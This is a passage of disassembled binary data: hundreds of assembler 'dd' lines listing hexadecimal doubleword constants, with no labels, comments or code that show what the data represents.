		dd 27912D9Ah, 18C0B8FAh, 0BF067230h, 886A182Ch,	0A5871D99h
		dd 7909201Bh, 453D7C8h,	20604E24h, 6323DAA3h, 20511AEh
		dd 0F5A318DBh, 60347C5Bh, 0B2231BA7h, 0F3C8D09h, 49040F43h
		dd 0C7489092h, 217C98E7h, 0EF88DC13h, 0CE2F0123h, 0D9016E7Ah
		dd 96218BB7h, 8C4582Bh,	0FD370925h, 0D3A5E002h,	2010DC69h
		dd 8A620FCh, 0B8FE412Ah, 8C98293Eh, 0F9934A53h,	10AF00F2h
		dd 0A8E8C5DFh, 1F00816Dh, 8FBCC2F6h, 0EE2F682Ah, 1BC4029Dh
		dd 50211370h, 40E3E084h, 7B1C0681h, 0B4D0Ah, 70D35000h
		dd 18C3B27Eh, 15CF85Ch,	0DD36021Dh, 20E25Dh, 0E84398h
		dd 0CFCEECBCh, 92707BDEh, 847E027Ch, 38E854E7h,	6113FC84h
		dd 0DC6125D1h, 0FC37F804h, 0CAE58C68h, 1700F75Ch, 0E85D0B76h
		dd 0BA431D73h, 869F2AB8h, 1358B08Ch, 48F0B3FFh,	0C6C2C06Ch
		dd 0F873E055h, 916C99B4h, 7C1F267Ch, 0F40EE00h,	58262F9Ah
		dd 2D18708Bh, 0B23D6811h, 0D039DA0Bh, 60908CA3h, 8DDB27AAh
		dd 0CF06CCC2h, 0A23F2049h, 0A4B43E3Ch, 6B0404FFh, 0BF225F14h
		dd 53A46A20h, 0E8E55CA2h, 0F6827316h, 134D0760h, 0DEA7F3FBh
		dd 47832050h, 0A75D383Eh, 0E80A2479h, 4EE4148h,	207BD1ABh
		dd 0A90C3054h, 505E1786h, 93E53021h, 338EAA29h,	13188465h
		dd 0F7DEC42h, 5A0B0367h, 20FCC1CCh, 0BCB428B5h,	660F8C57h
		dd 20870A98h, 5008A1A6h, 48B60067h, 0FA99A7Ah, 0E70B892Ch
		dd 97D10509h, 805C915Ch, 0CAFC06AAh, 4FED0280h,	87C8DC81h
		dd 0ECD47262h, 0DA207D80h, 941DD3E9h, 905D021Ch, 1041ED62h
		dd 2E0BF4D1h, 5E3488A8h, 800720h, 0B1A3ED76h, 0BEA087E2h
		dd 62C4819Dh, 4980116Bh, 701A23CAh, 88B5C321h, 6708A8B4h
		dd 0B2C81699h, 0B91D0080h, 27518684h, 0B172EAh,	14675AA4h
		dd 2BE3F776h, 21666912h, 2C888412h, 0E501E9AFh,	0DB498316h
		dd 0C8316881h, 48538590h, 5404C7E6h, 0B467181Ah, 0AAE266F0h
		dd 4FADD318h, 5A9ED7A8h, 186881DAh, 18407E6Ch, 1D7A054Eh
		dd 80804EE5h, 2148A858h, 24440950h, 7D8079D4h, 62BA3205h
		dd 0F0D00563h, 4895E0Bh, 47AA6A15h, 80C8A01Dh, 68AB102h
		dd 82348752h, 4131B2C0h, 0C1CC1024h, 68914Ah, 0AB8FF058h
		dd 7300AA51h, 0A61657CBh, 796889DDh, 0DB3B0015h, 0A76AC2CCh
		dd 517E894h, 70A05EAFh,	0F4C7487Ah, 5EF01610h, 3AFE3CC8h
		dd 9A846C6Fh, 0A0BCC5FBh, 28CCB2Ch, 52055DBh, 7A19B6D0h
		dd 55D21E10h, 0AC60470Bh, 967807CBh, 5FDA09B8h,	80C48064h
		dd 5C02E75Ah, 907009D3h, 7E0F503Ch, 6F1F9C92h, 0A4652311h
		dd 0EA44D7D4h, 50F8A2DFh, 0D3808A1Ch, 48D2050h,	8B253Fh
		dd 16CA56E0h, 1D298Ah, 0CFEB9D01h, 0BF79B373h, 0E4397E28h
		dd 0D53B1E12h, 734FC4C8h, 226C00C9h, 4E5E2188h,	6E8C80Fh
		dd 7135D000h, 0B5541612h, 0B4505147h, 0C7480A3Eh, 55E0CE94h
		dd 0B4F0051Ch, 4A512C94h, 9FD455E0h, 0CF9348A5h, 0E39F7Ch
		dd 9542C01Eh, 0ACA0FB92h, 5E8001FEh, 0FAA0166Bh, 0BF7802F4h
		dd 0DC035C92h, 7114AA22h, 66508048h, 0A5096F4Ah, 0C4D8D851h
		dd 8A921E3h, 14742466h,	0C08092BDh, 0C0FF2F26h,	6BE20420h
		dd 0E4A232E5h, 9E027CCCh, 0CB7110Fh, 7D59005Fh,	5C004E99h
		dd 0B51FDD9Ch, 5865164Ah, 710E46Dh, 17048DCh, 2664ECF8h
		dd 0FC51816Fh, 701222DDh, 3A5C50CCh, 8E27101Ch,	45000748h
		dd 111692E8h, 4A628CAEh, 57DC720h, 0BAC4C2EEh, 0A4E474D4h
		dd 7AF2A4B2h, 0B832630h, 1D3DC42h, 9E6830A3h, 14D4BEE8h
		dd 0C108625Ch, 0AE0D4DCCh, 3C78006Ah, 67DB3FB2h, 468E600h
		dd 26664091h
		dd 70A9C1A7h, 5B6D2F9h,	308B801Eh, 1B8C818Dh, 90609443h
		dd 18192E09h, 25D2C000h, 9D46AC35h, 0E4001B22h,	19925CBh
		dd 2443AF10h, 12D4F265h, 0AB68C19Eh, 0F0420E0h,	6024909Eh
		dd 66A93501h, 702C985Ch, 98C7CBCh, 0AE870B0Eh, 6B77A4A0h
		dd 5CBB09B5h, 0C780370h, 14E8896Fh, 0B7006519h,	4A0FE2DEh
		dd 3A2E51h, 0CFD0D847h,	9687F0DCh, 2D4A09Fh, 0A048C174h
		dd 0B7F3BD0h, 0A187FE5Ah, 0CD0EE88h, 19F8F879h,	0B1CA480h
		dd 11A32CABh, 1A474802h, 44631602h, 0BC503D0h, 95735C5Bh
		dd 0E8985948h, 0A4058C78h, 0DDC9A93h, 8D5464C0h, 951414DDh
		dd 1F7834E3h, 0B714659h, 14A1996Dh, 62E515C9h, 93EE00C0h
		dd 0D3CF1D10h, 6090BF20h, 7439DF6Ah, 3B79730Eh,	0DA5EA63Fh
		dd 881674C8h, 9D7DFBA5h, 0C4AC974Ch, 6605798Bh,	11AC92A2h
		dd 49D6CCAh, 37808F11h,	75DA9BCEh, 1703B727h, 8B059144h
		dd 328C00C4h, 1EEC382h,	54015A1Bh, 2D866646h, 52E7D1Ch
		dd 30264897h, 183D7B84h, 62C261Dh, 8004A9D9h, 1C023A46h
		dd 0CE63C6A3h, 9E28233h, 0CAA37E00h, 0F91E2633h, 0C06F8EA8h
		dd 9A6B50A8h, 6CE41D90h, 0B08C6217h, 10740558h,	87181F41h
		dd 7A2519AAh, 0A0C46D05h, 70926F2Eh, 0E19CE1E4h, 5C09EC6Ch
		dd 9C4065DBh, 7636BF0Bh, 46C0D851h, 0A31A0250h,	32BE63DCh
		dd 0D98098F4h, 9F40A312h, 62EA0352h, 4261DBFCh,	4BBE9104h
		dd 0F8F56C7Fh, 0C40DF6E4h, 81FC9968h, 68AF95B8h, 0C0D48800h
		dd 6FD26235h, 0EF225446h, 624DA81Fh, 0BAF90585h, 0E24F40E4h
		dd 9C71D5B1h, 0B500F1BCh, 0E05F4510h, 902917E5h, 9C7954E8h
		dd 0C2720518h, 0B97019EDh, 0DC160110h, 0EB1EBBBEh, 0B71264F0h
		dd 0DE687C0Ah, 0A04BCC00h, 5217E9BFh, 0BC41ECAh, 0A44AD751h
		dd 9000319Ch, 1194ACC1h, 0F54EE8h, 5512C76Ah, 5D62184Ch
		dd 24D9E488h, 421CE943h, 457462Fh, 50230ECh, 28F842A7h
		dd 1E5D104h, 0F4F4061Bh, 72914373h, 9C631888h, 490A6E0h
		dd 4180DB86h, 741FA540h, 40B69420h, 631057E3h, 3C1F49B1h
		dd 0B0646F16h, 3D24EE00h, 300D4692h, 0A2EC000Fh, 7A231F2Ch
		dd 8C0067E2h, 66D39E41h, 206B61F8h, 0D70B4311h,	0D207DABEh
		dd 1971696Ch, 140C34C6h, 314561DCh, 0D4020953h,	0A8901FCDh
		dd 89C05842h, 6DD0F767h, 0E31300B9h, 0DD1D06BEh, 6C38D71Ch
		dd 320585C2h, 88202665h, 5EE72170h, 614097B9h, 6804B2F9h
		dd 7BE20CDCh, 269F69B1h, 0AD8C0AAFh, 0D362E448h, 9034A124h
		dd 4CE0C264h, 9C000CAh,	0BB6ADA75h, 64BAB6EBh, 98F9820Ah
		dd 5D04E079h, 0C4CC39C3h, 0E1E01DB3h, 0F3CA80ADh, 551A9ED7h
		dd 53E48482h, 0D9A31D60h, 11166323h, 15D40006h,	0C7585BA3h
		dd 669018A5h, 0C4C948EAh, 68D01B0Ah, 3824C870h,	0E82B810Bh
		dd 805382A4h, 71097E77h, 422DCB4h, 4245AC18h, 20B440EAh
		dd 3C07F6C9h, 0C53A9507h, 1AE5F939h, 64449C12h,	0E8044A99h
		dd 1EF6400Fh, 50CD7B5Ah, 36F8C7h, 76A45B78h, 4AE5221Bh
		dd 25E81A02h, 72D796ABh, 6E3D3CA8h, 107C571Ah, 4B3A9C44h
		dd 1E2408Bh, 0A8FC879Dh, 0D0920BD4h, 0E92551C5h, 5042914h
		dd 6C872024h, 0C21F854h, 6216111Ah, 27C5432h, 0DBB45917h
		dd 0F05A1CEDh, 0EE1220h, 85BE6877h, 0BB216527h,	882838F9h
		dd 7E168187h, 6073DBA7h, 915AC738h, 0E22B5444h,	0D8881B0Bh
		dd 241E081Ch, 80BE1C28h, 10A5EF0Ah, 59AE640Dh, 93942441h
		dd 8A29089h, 184D0C11h,	0DBA3081Fh, 0EC4A663h, 0A317DA40h
		dd 280FCD77h, 2495523Bh, 658054B3h, 76941DB7h, 0F82D687Bh
		dd 0A295088Ch, 157B719Eh, 18C4BF96h, 63B820E6h,	9ABE3AB7h
		dd 3815F11Ah, 7C1A7EC1h, 8C8FE8E4h, 2C9C2F00h, 0B0AD17AAh
		dd 0F409CF2h, 4A01E9CCh, 82A6CF86h, 0EB116C80h,	169481C8h
		dd 0E048E65Dh, 3E78B90Ah, 94A5962Dh, 7D90EC70h,	0D3672894h
		dd 0C5AC36E1h, 908B1A18h, 0FCA625C4h, 0F1CF16D6h, 0A7FF8147h
		dd 0A47C6452h, 0F4F2806h, 2548A05Ch, 5463FEDAh,	0AA14FFD8h
		dd 0D360D016h, 60368462h, 0B13C6F1Bh, 4EA9C084h, 4F4CA162h
		dd 80BB80CCh, 103DBB8h,	118ED0F4h, 351CC797h, 2115F098h
		dd 90230580h, 0E9E1250h, 0FAF407CBh, 7B03DFAEh,	0E002A762h
		dd 37C3523h, 10C456B6h,	717BCDBAh, 825B3C24h, 6D0F8CF9h
		dd 0A47BEB2h, 94A3D411h, 0BB96B946h, 16667024h,	880E7321h
		dd 51C16FBCh, 569EA085h, 4025C612h, 0ACC354C3h,	2411500Bh
		dd 811888E3h, 14C7501Bh, 97A0282Dh, 80769134h, 0D85B9311h
		dd 617717BCh, 246C08AAh, 1820E812h, 13D7C86Ch, 9141697Fh
		dd 0FCF25FF4h, 843EC28Eh, 0F003FFE6h, 799A186Ah, 9E6780A6h
		dd 0C51B0592h, 0E0CDDA5Bh, 0C990544h, 40C40196h, 79235C2Eh
		dd 0AA5ADA00h, 0A38F9386h, 0C052FAB4h, 808467E8h, 0A01787E8h
		dd 0DCD2E7D1h, 0A319304Fh, 0B663C516h, 1D01438h, 143BA311h
		dd 34F6F9EEh, 2A3EBE3Ch, 0D9E7926Dh, 0E490B044h, 6F01F842h
		dd 1AA27C6Bh, 7AD1F451h, 132E1718h, 69086042h, 8D400922h
		dd 1C19C468h, 772F6A00h, 2870B80h, 0B0049AF1h, 0C15307A0h
		dd 40108606h, 0F4BB4E12h, 22CE6117h, 0A4169891h, 0AC0E9B00h
		dd 53E3C90Fh, 205C7268h, 0BD740245h, 0B4D85094h, 9C480033h
		dd 0F9F7C3AAh, 4BA1B4Ah, 1279A4B9h, 85EC6F18h, 1E790E0Bh
		dd 1190046Dh, 8410ED12h, 9C94E709h, 0B0E318C1h,	1C48F43Ch
		dd 38C5EBCh, 119566E0h,	0FBB8F223h, 0DD03C178h,	5140250h
		dd 5E2DAAFh, 3BD8C07Ah,	4E12BDCEh, 0ACA35EAAh, 87F89A4Bh
		dd 0B500896Ch, 9583428h, 8A68185Fh, 66201464h, 0E7EF0006h
		dd 4DC771DDh, 38B012A7h, 561AC520h, 0E048C5Dh, 0E9B97F01h
		dd 0C8743B44h, 9337107Ch, 834EE33Dh, 41A4999Ch,	531312F1h
		dd 96D3085h, 0ACE4D2FBh, 6C095CC6h, 0D1427401h,	0F358B180h
		dd 0D15C1385h, 887015C9h, 63628872h, 0B01C554Bh, 444887C3h
		dd 95E8E0E9h, 2DDD263Bh, 0C1A20F1Eh, 5C592F62h,	407268E2h
		dd 0ECC71600h, 0AB073F7Bh, 389501ACh, 64CB56F7h, 0A4C7027h
		dd 911EF42h, 0DE8C084Bh, 0D6E00E2h, 0B8286A11h,	76F30B01h
		dd 4D24EEC5h, 219F3830h, 86145EDCh, 0ED72C5BCh,	5006E8C8h
		dd 588D9802h, 0FDC8F011h, 911017AFh, 59478254h,	2B4DAE5h
		dd 0A0BD7EAFh, 8C071C3h, 8499149Bh, 88A4F1A5h, 48231EFEh
		dd 6E0E5691h, 0D19262F9h, 0C63DF60h, 7A1284E2h,	9CECA8D3h
		dd 0C0946689h, 87798462h, 1E044ADh, 0A1164599h,	5478132Eh
		dd 5C40882Ch, 0D045D325h, 8D08528h, 28A4410Ch, 82209918h
		dd 11448604h, 0AB2F0205h, 0C81B3F44h, 5B402450h, 0A07C9Ah
		dd 0B1C5C82h, 0D36E7764h, 0F07023F5h, 885EDF77h, 2184924Bh
		dd 3E783CDDh, 0F17A84ECh, 0FC1DED84h, 0B896A96Bh, 4674EC2Ch
		dd 60BC0078h, 87499115h, 142297A3h, 80803263h, 3793D533h
		dd 12C2C53Ch, 0B4C00E9Fh, 0C53D1ACAh, 317C57C0h, 2DFE40D4h
		dd 49AD14C0h, 10EEC8D4h, 1841701Bh, 18A2FC63h, 21A830h
		dd 9ECAA77Eh, 8E9D80EAh, 0A4B42726h, 0F1E91209h, 320613DCh
		dd 0A82A1060h, 4180D011h, 746FCE62h, 0E81695h, 0E76239A4h
		dd 0A18A103Fh, 3CC52A0Bh, 361C02DFh, 10AC5A15h,	51EB5DBh
		dd 0AA6E970Bh, 2FEDACD2h, 2BDBC3E0h, 0FD1F1CDCh, 180B8870h
		dd 7B404E2h, 8B22961Dh,	0E307C46Ch, 887CB230h, 17A98718h
		dd 0D67BE219h, 1FA448ACh
		dd 0D509A599h, 968C64E0h, 1A04260h, 878B745Ch, 79DC4897h
		dd 295F604Fh, 0E041E269h, 487EC00h, 0CDCB151Ah,	7E7B77E6h
		dd 7E2F185Ch, 6C18A162h, 1C1730A4h, 980438ADh, 0D10788D3h
		dd 232E81D7h, 0F93A0093h, 5F072522h, 0F14F88E7h, 74667580h
		dd 1400B93Ch, 3215DFCh,	0F40233h, 6D7E6589h, 11585408h
		dd 70F6A727h, 26DC8E4Ch, 74B80ED5h, 20618FFh, 40343EDAh
		dd 8C760BAAh, 0F9E7C342h, 1884794Ch, 5DB700C0h,	547038BEh
		dd 0B7466ACh, 946B1818h, 0A4AB8729h, 0DB6208F8h, 503426Dh
		dd 10C1ABFh, 0BC70C980h, 3B1EDDAAh, 8123A02Fh, 0CA8DDB00h
		dd 1CF42CACh, 28BD9E26h, 80A77ADCh, 31C09150h, 493384C1h
		dd 0B0B090h, 0AFCD930Ch, 96A85E30h, 8E700402h, 5205EA10h
		dd 53A400ECh, 115DED3Fh, 2CBED03Ah, 1C1D465Eh, 3380F22Dh
		dd 1344A2DBh, 6FF0C2A1h, 0B07EEF19h, 7102D889h,	36180028h
		dd 0F1C3205Bh, 0F967EB01h, 938A704Bh, 0E0E5E4h,	33128381h
		dd 0ACE6625Ch, 97962416h, 96C4840h, 3B42694Eh, 0C0548D8Ah
		dd 39E407B0h, 0E001A92Ch, 1472377Fh, 0BA66040Eh, 29424C02h
		dd 1E930019h, 3B07157Bh, 0A0132016h, 0B0AC53D7h, 54E8CAh
		dd 0B062261Dh, 8B00A411h, 5DD42ACAh, 14E206B9h,	0F82F296Bh
		dd 2EA83607h, 1449D943h, 93718DEh, 646FC862h, 0A200709Ch
		dd 0C7A624Fh, 0A928826h, 46CBF017h, 136304A0h, 8756405Fh
		dd 25D044BEh, 5C450B5Dh, 2C6010C4h, 48009954h, 6E2DD42Eh
		dd 740DED94h, 0E2410570h, 0B4365963h, 0B240B730h, 19D310A4h
		dd 0A48B921Ch, 0D5C013C8h, 2EEE3BB8h, 9420C03h,	0D0209ABFh
		dd 0A580A95Ch, 4E011C14h, 369D04C8h, 0E8AC140Bh, 0EE8C54BCh
		dd 0A70517B6h, 8AF04076h, 0BFE71BC4h, 0E12E1238h, 6B4D4611h
		dd 0A8432423h, 0E83318A2h, 0E9CD0Ch, 0DB07ADC8h, 6E17F149h
		dd 6606997h, 2B6B4D30h,	2FA041BDh, 24029C35h, 5B4A1740h
		dd 7134A948h, 1E2D18EFh, 0D35B0BC4h, 0C8508BE7h, 3490C081h
		dd 361D29BEh, 8A405FD9h, 0B78EA8C8h, 344A9F86h,	500905Ah
		dd 3CC44A9Ah, 5AE555A5h, 87449027h, 4EF04920h, 0B4C21300h
		dd 3145688h, 0E24CEFh, 5742A24h, 884A2EB3h, 8403D764h
		dd 5A0B39E8h, 51C815C9h, 7C78985Ch, 5E7318h, 0D5A740F8h
		dd 0CAE81C39h, 342E87F8h, 0DB0298D3h, 0D0606DD2h, 1674804Ch
		dd 48F7002Ah, 6870DD58h, 644C9DBBh, 18342234h, 0E1F35E2Ch
		dd 72F11F8h, 0D08C25ABh, 61E2E8F2h, 0E6D530h, 0C6C0F386h
		dd 0D32EA109h, 0C4E48B5Ch, 0B8A4E253h, 10414205h, 1A040306h
		dd 536D09EAh, 1FF264B2h, 487F3E30h, 900B8856h, 20D6C6Fh
		dd 0B20063F0h, 0DEB3011h, 66955C09h, 797C0222h,	240E0F40h
		dd 0A70170C2h, 0F4A31C78h, 80EC3DF3h, 869DD0Fh,	9131398h
		dd 20F44B1Ah, 14ED003Ch, 2EAF18A1h, 753A61BCh, 0CC2A2455h
		dd 48C67702h, 617C7885h, 6B7148D3h, 9C70A0E7h, 90357920h
		dd 109E2008h, 5D97E804h, 0F4BC5EB8h, 80ED201Eh,	0D8B1BFDAh
		dd 8F4E96AAh, 604BD4B0h, 5AD6898Ah, 0EE168031h,	0A8D0420Ch
		dd 0F9F8D4h, 7627C26Bh,	0A6B037BCh, 6620D10Bh, 0E44CE545h
		dd 917B6007h, 0AA50096Ch, 6478C38Eh, 18E21CB0h,	9D876822h
		dd 313BC0C4h, 0C4EB8006h, 0FB1C7B15h, 0E4395C55h, 0AB26ACC2h
		dd 7B608058h, 0FC1BE3B9h, 1E39012Eh, 0CE95929h,	0B751ADA4h
		dd 0CDEF0004h, 7A612DB0h, 5BBB702h, 0B5706AFh, 54878C1h
		dd 0A56A6008h, 1AE00882h, 1053AA03h, 4D0892B8h,	2DB2BC70h
		dd 6C68413Eh, 5000799h,	329749F8h, 3A137BFh, 307B9885h
		dd 0D090C567h, 6B1661F6h, 0E4491749h, 280F9AAh,	0CB1ABE63h
		dd 0E54028DCh, 0E80D6AACh, 7B6B007Dh, 0A49B6F3Ch, 0CA0374BDh
		dd 0CCC884ECh, 41802624h, 0E91840BCh, 0B67A9242h, 2F86B00h
		dd 46A950DDh, 0CC3C04C7h, 0A4AC871Ah, 4D1C9A24h, 0C3C16E72h
		dd 0D052A96Ah, 54F2F432h, 741C7130h, 0B442F9DAh, 0FB94A9B5h
		dd 23E7078h, 2FFEE700h,	8D2D99C1h, 8F975B8Ch, 0C30D8888h
		dd 0F09F01FEh, 16F15629h, 63205D04h, 0B68498ABh, 14D04E0h
		dd 0F6EDA918h, 0CFB2BF0Bh, 0E2381842h, 9BEB300Eh, 11BDB500h
		dd 9166ABCBh, 871704E8h, 0E8204FA6h, 0DBDCC20Ch, 9F0849BDh
		dd 0E8409429h, 0BE4988E4h, 84F34E38h, 0AB8EAC78h, 421E1890h
		dd 3A94277Dh, 8674D882h, 8A047E00h, 0D90A0343h,	87E7F1A0h
		dd 0B45CB4A2h, 8BBBD042h, 8101D34h, 0F64E305h, 0EC264CCCh
		dd 0E04F6066h, 0BE2FBDFEh, 0EE6DF901h, 0BB9515A0h, 1062985h
		dd 0A2B0B043h, 38A199C5h, 44293C8Ch, 14487B1Fh,	3D3B2224h
		dd 76A62E4Ch, 3929194h,	0FAA0C0C6h, 0E97F80Ah, 4EC00B4h
		dd 0E22AF8F1h, 2B496563h, 594A07B4h, 0B0B4F96Dh, 2E00D0ECh
		dd 1AD90842h, 0F72C016Eh, 0F080B0E1h, 315D17E9h, 641495E7h
		dd 0B8FBA40Eh, 6C7B80EBh, 7C628421h, 0E870051Dh, 0A2979241h
		dd 35DB085Ch, 0A711024Bh, 590BA4E2h, 180C79C4h,	888F007Dh
		dd 139B367Eh, 7917BE71h, 40F406EAh, 4342327Dh, 0EC7B13B1h
		dd 6E3B4001h, 583A9A96h, 0AA7E2958h, 0EA2AFB04h, 0D4A82F18h
		dd 6380E588h, 2143D59Eh, 8404B688h, 0B5EFFBEh, 3278E1F1h
		dd 0EE41E051h, 5FDE3980h, 0F1F48AD0h, 0C9972000h, 90087AD7h
		dd 576E3CD8h, 0AE81AD8Bh, 0AC8468F1h, 0B8B03B2Eh, 0A0849721h
		dd 5CF216E4h, 0FCCF6304h, 1084B8DBh, 7C4CE777h,	388C0CE8h
		dd 4F007A2Ah, 5C809B73h, 0C74986AAh, 0D86613ACh, 3D2724B8h
		dd 61DD1460h, 247A9E58h, 6310B81Fh, 1C704D27h, 71DE2CA1h
		dd 0ECCC3E34h, 486C761Ah, 0F983001Eh, 0A4E03B6Fh, 0B4BC9DDBh
		dd 0E8CD709h, 4F15A814h, 9A00ABA8h, 3B789230h, 7CE52953h
		dd 0CF960594h, 20540279h, 18566418h, 0BEB05D84h, 0F9615E4Fh
		dd 2BE1F6EAh, 0E985841Dh, 0A8404B8Ah, 23C36877h, 2E48C80Eh
		dd 0B882B410h, 420105B2h, 0A4685F21h, 4030FEEDh, 4E98096Ch
		dd 0EC0137EEh, 0E209EA17h, 7EE59611h, 97A80405h, 1174A89Ch
		dd 344EE69Ah, 0E7D40420h, 74500675h, 59E019B1h,	22CC870h
		dd 870B2095h, 88A4E17Ah, 7884355Ah, 45B88CF9h, 8A9F0B08h
		dd 414204E7h, 0A8C885Fh, 0F020B542h, 0CE30F20h,	797A7E77h
		dd 0D7500980h, 7D133AC8h, 0ECC84FD3h, 6278BCADh, 4F00410Dh
		dd 7F51AAh, 0A44C80B0h,	657C8DE0h, 0A804975Eh, 0A50223F7h
		dd 2C741E98h, 59E9A90Bh, 188F7970h, 177D3982h, 52B76D05h
		dd 0BC84BC22h, 0B80E8C5Bh, 8BB2EB92h, 7044D3A1h, 9715085Eh
		dd 12B4F74Ah, 0B409D77Eh, 0C4D0C5D0h, 0E9A4605Bh, 838124F5h
		dd 0FE608D4h, 38EAA04h,	0FC01A0F1h, 103C9EBFh, 6B28E14Fh
		dd 0E5BE7C21h, 9D6B5E00h, 0AC3C3441h, 8C76BCh, 0D41160C8h
		dd 0E86BCB0Eh, 7869732Ch, 0E62254A8h, 0BA63165Bh, 50490B58h
		dd 3A4D5402h, 0D484B45Eh, 34C04379h, 0E3602Dh, 0B029FDCFh
		dd 1F2A492Eh, 3F67EB01h, 0CCF8BF11h, 0F6685C40h, 0ABE101F4h
		dd 0B39EE456h, 4CAC336Ch, 0D6F001D4h, 0B4F32165h, 0A858942Bh
		dd 594076C8h, 8C73525Ch, 47AF1103h, 0E8E1EA9Dh,	0F0108492h
		dd 9F4FECA5h, 0ECE97604h, 835CC1D0h, 0F1862F45h, 59EA0ABFh
		dd 136D8B18h, 4865B318h, 0B2DFC5Bh, 63800CB5h, 0CE0A64DAh
		dd 0D0F1267Bh, 52475E58h, 0BD02563Eh, 42817B94h, 5F448854h
		dd 30EFC34Eh, 2284B960h, 7F418B5Eh, 0FA2D2C7Ch,	39DB6448h
		dd 283F1F41h, 1A44F8E4h
		dd 0B438F957h, 0F1B08A1h, 0C2C01A88h, 0FE4AE2A6h, 302F00BAh
		dd 0CB4E931Bh, 2E12A264h, 34A8869Fh, 5C0FE8C8h,	17111E91h
		dd 29DC1A05h, 45600433h, 180C21A9h, 9C17A1A5h, 42891191h
		dd 0B408E48Fh, 0D0B21512h, 1AA5D400h, 8EA903FDh, 165C6D1Ch
		dd 9E5B5540h, 0A83B48h,	8DBB9496h, 83117010h, 0D8F0035Ah
		dd 0AED3205Eh, 5BFE6E48h, 330F8480h, 3B424FA6h,	5C239Ch
		dd 0E08BFB23h, 0CB0B99D7h, 79AE1E5Eh, 0C2C58B98h, 0FFF8B003h
		dd 9B864A80h, 0C85F64BAh, 2F71C420h, 3D700ACh, 823EDC2Ch
		dd 0FC1E79CAh, 3D8296EFh, 554FC0D5h, 7EC8CC20h,	51028B11h
		dd 23551FBDh, 0E010D5DAh, 24580B9Ah, 20445B00h,	0A400FE5h
		dd 6B3AB5B9h, 71EF0303h, 0EF202D3Dh, 424ADCB0h,	9F84123Fh
		dd 0DD20215Fh, 5C6B3EBCh, 793BA700h, 0F556D0B6h, 0CA0F417Fh
		dd 0F40B210Fh, 2CA35AC8h, 0D9D81201h, 6AB87219h, 0BC78F4CDh
		dd 398C57BCh, 7CF4DDh, 2BAEDB1Dh, 57010531h, 49791261h
		dd 8F30847Dh, 901895FFh, 61207C02h, 3A664E4Bh, 0E2437024h
		dd 0FB018505h, 8820AF2Dh, 0FE835AD7h, 57C500BBh, 5C5144B9h
		dd 0C116C7CFh, 24E071E0h, 0B3B801Dh, 0D06DE802h, 0F64F9622h
		dd 84242F84h, 25CE6014h, 0BDAC2141h, 25C7E0C0h,	0DCE109F3h
		dd 0C5E610Ah, 19519118h, 0F80997B7h, 0C63F201Dh, 7700043Fh
		dd 35360CB0h, 0A904201Fh, 0EF93949h, 1DF8D8A8h,	72BF008Ch
		dd 0A8BD4F65h, 48966726h, 33A34007h, 44B19382h,	0FBF10E0h
		dd 459A015Fh, 34DC996Ah, 6D215031h, 5444D86Eh, 9000A570h
		dd 0EFD3B610h, 434748Eh, 6DDD61B2h, 0BC80FD17h,	0EF690271h
		dd 0AB096FD4h, 5879286Ah, 0F8191079h, 66321841h, 0F2E86177h
		dd 7BD7004Ch, 3EB8FD54h, 380508B4h, 8BE263CCh, 0EA0441BEh
		dd 303031AFh, 0D9041F3Dh, 23D865CDh, 222100C1h,	0B868ED05h
		dd 0F5A0075h, 0A9BD6D2Ch, 119F7A45h, 2C3C51FCh,	3B19B78Ch
		dd 1B587BFAh, 0C13D3050h, 4A5F5EACh, 20949177h,	84022FD7h
		dd 57A8B86h, 0A041AA0Ch, 40A9063h, 0A604882Fh, 0B649D3Ah
		dd 0FAC71CAAh, 0E100228h, 60C47033h, 43EDA4C0h,	9C241880h
		dd 0A9574218h, 50955002h, 707CBB84h, 9712266Eh,	0E8F836A3h
		dd 4AEF2EC3h, 0DDC5600Bh, 0E50E8280h, 0F15CD97Fh, 249181Fh
		dd 1BC16C51h, 0E480F73Ah, 58641821h, 6A2A09FDh,	92A700D8h
		dd 0A2D277A9h, 79611326h, 58B280h, 3C4837A4h, 2C71D1h
		dd 0E3A2B894h, 0BC4419Bh, 7B5E5A05h, 9BEED5Dh, 0D47AEFB4h
		dd 8054B5BDh, 61A3A5Ch,	1404DC8Ah, 826F96Eh, 0EC941605h
		dd 0E980C790h, 9F4E8A9h, 0D8608A07h, 970A3161h,	0C045D32Eh
		dd 423248A8h, 0F2504104h, 39920294h, 8E64FE7Ah,	16895840h
		dd 1458962Bh, 37CB2900h, 7DB9D3F7h, 7521C042h, 6870DCD9h
		dd 5C04B612h, 2D05B4C8h, 0B4E072AFh, 8492F994h,	48C3A544h
		dd 0CC80F0E5h, 0D9265882h, 0AFAEED01h, 34EB7732h, 0F29239C4h
		dd 5CDB0066h, 0C75ABE87h, 0D625B0A5h, 18D4AC56h, 0C597054Fh
		dd 0EEB6F4A3h, 105A6C08h, 0E0A62FD0h, 5B23A3E4h, 5400E0BDh
		dd 227898D1h, 54179F80h, 0F8805B91h, 3850811Ah,	6EF96F13h
		dd 6116F0C1h, 0B4581469h, 172710h, 0E09F5D0Fh, 4F317275h
		dd 3940089Dh, 0CC59A5h,	434EB2C9h, 4B07AC45h, 1796AADAh
		dd 24188838h, 762CD480h, 120D8AFEh, 82CFE51Eh, 88C50B8Ch
		dd 80651AE4h, 0F80D7772h, 1E02BBE8h, 7BAA450Bh,	2CCCD681h
		dd 8F2300D4h, 0B796A924h, 26379940h, 83483D7h, 0E5083245h
		dd 0C23C8313h, 1A015CFh, 0A700D2DEh, 0BF90BC37h, 939FA2Dh
		dd 7AC32EA2h, 16A0A848h, 0BD6C1888h, 0E274D066h, 954FC980h
		dd 81463820h, 3F00134Dh, 2383F45Ch, 1CBE69Dh, 7C86EA47h
		dd 7A022B71h, 9042100Bh, 1CBEA184h, 18A076h, 0EC8255C1h
		dd 0A20052B1h, 8E427C11h, 0B4A69DDh, 50EE86D2h,	0CB3914D9h
		dd 3E6840C0h, 0E6B500DCh, 0BA6DC4D3h, 8F95AA14h, 541A2970h
		dd 3E1C0078h, 0F9707524h, 0EC0D662Eh, 0B219E353h, 0B42BFDFEh
		dd 459EB4F1h, 38C463C4h, 0A59DD00h, 3F2F1480h, 249C6842h
		dd 28C37DE0h, 70CC92D6h, 0FC9E03DDh, 0E8AF886Fh, 6EA09EDFh
		dd 241FBA02h, 5ECCBD48h, 6A2BA8CDh, 0F5DC146Ch,	86A90B81h
		dd 682020CFh, 0B581BBBh, 0BCDD8815h, 0D713059h,	9C006C18h
		dd 0D7EC35A9h, 0EB0A78Dh, 0DD2ADA33h, 5C2165A1h, 0C226AD8h
		dd 0F454294Dh, 0E8095D10h, 54293173h, 7B11649Dh, 51A6380h
